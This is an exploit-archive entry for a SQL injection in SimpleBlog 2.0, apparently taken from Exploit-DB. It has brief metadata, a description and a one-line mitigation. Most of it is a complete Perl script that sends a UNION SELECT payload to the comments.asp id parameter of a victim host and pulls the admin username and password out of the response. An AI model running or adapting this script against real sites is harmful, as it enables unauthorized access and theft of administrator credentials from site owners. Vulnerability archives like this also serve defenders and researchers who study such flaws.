SimpleBlog 2.0 SQL Injection Exploit

vendor:

SimpleBlog

by:

Chironex Fleckeri and ASIANEAGLE

7,5

CVSS

HIGH

SQL Injection

CWE

Product Name: SimpleBlog

Affected Version From: 2.0

Affected Version To: 2.0

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2006

SimpleBlog 2.0 SQL Injection Exploit

SimpleBlog 2.0 is vulnerable to a SQL injection vulnerability. An attacker can exploit this vulnerability to gain access to the admin panel of the application. The vulnerability is due to the application not properly sanitizing user-supplied input before using it in an SQL query. An attacker can exploit this vulnerability by sending a specially crafted HTTP request to the vulnerable application. This will allow the attacker to gain access to the admin panel of the application.

Mitigation:

Input validation should be used to ensure that untrusted data is not used to construct SQL queries in a way that would allow an attacker to access unauthorized data.

Source

Exploit-DB raw data:

#!/usr/bin/perl
#Method found by Chironex Fleckeri 
#Exploit By ASIANEAGLE
#Contact:admin@asianeagle.org
#Original advisory: http://www.milw0rm.com/exploits/2228
#Usage: exploitname.pl <host> <path> <id>
use IO::Socket;
if(@ARGV != 3) { usage(); }
else { exploit(); }
sub header()
{
  print " *****SimpleBlog 2.0 SQL Injection Exploit***** \r\n";
  print "      *****www.asianeagle.org***** \r\n";
  }
sub usage() 
{
  header();
  print " *Usage: $0 <host> <path> <id>\r\n";
  print " *<host> = Victim's host ex: www.site.com\r\n";
  print " *<path> = SimpleBlog Path ex: /SimpleBlog/\r\n";
  print " *<id>   = Admin ID ex: 1\r\n";
  exit();
}
sub exploit () 
{
  $simserver = $ARGV[0];
  $simserver =~ s/(http:\/\/)//eg;
  $simhost   = "http://".$simserver;
  $simdir    = $ARGV[1];
  $simport   = "80";
  $simtar    = "comments.asp?id=";
  $simsql    = "-1%20UNION%20SELECT%20ID,uFULLNAME,uUSERNAME,uPASSWORD,uEMAIL,uDATECREATED,null,null%20FROM%20T_USERS%20WHERE%20id%20like%20".$ARGV[2];
  $simreq    = $simhost.$simdir.$simtar.$simsql;
 
  header();
  print "- Trying to connect: $simserver\r\n";
  $sim = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$simserver", PeerPort => "$simport") || die "- Connection failed...\n";
  print $sim "GET $simreq HTTP/1.1\n";
  print $sim "Accept: */*\n";
  print $sim "Referer: $simhost\n";
  print $sim "Accept-Language: tr\n";
  print $sim "User-Agent: Mozzilla\n";
  print $sim "Cache-Control: no-cache\n";
  print $sim "Host: $simserver\n";
  print $sim "Connection: close\n\n";
  print "Connected...\r\n";
  while ($answer = <$sim>) {
    if ($answer =~ /class=\"c_content\">(.*?)<\/td><\/tr>/) { 
      if ($1 == $ARGV[2]) {
        print "Seems Vulnerable :)\r\n";
      }
      else { die "- Exploit failed\n"; }     
    }
    if ($answer =~ /class=\"c_content\"><b>(.*)<\/b>/) {
      print "- Username: $1\r\n";
    }
    if ($answer =~ /href=\"mailto:(.*?)\">(.*?)<\/a>/) {
	  print "- Password: $1\r\n";
    }  
  }
  
 
 
}

# milw0rm.com [2006-08-20]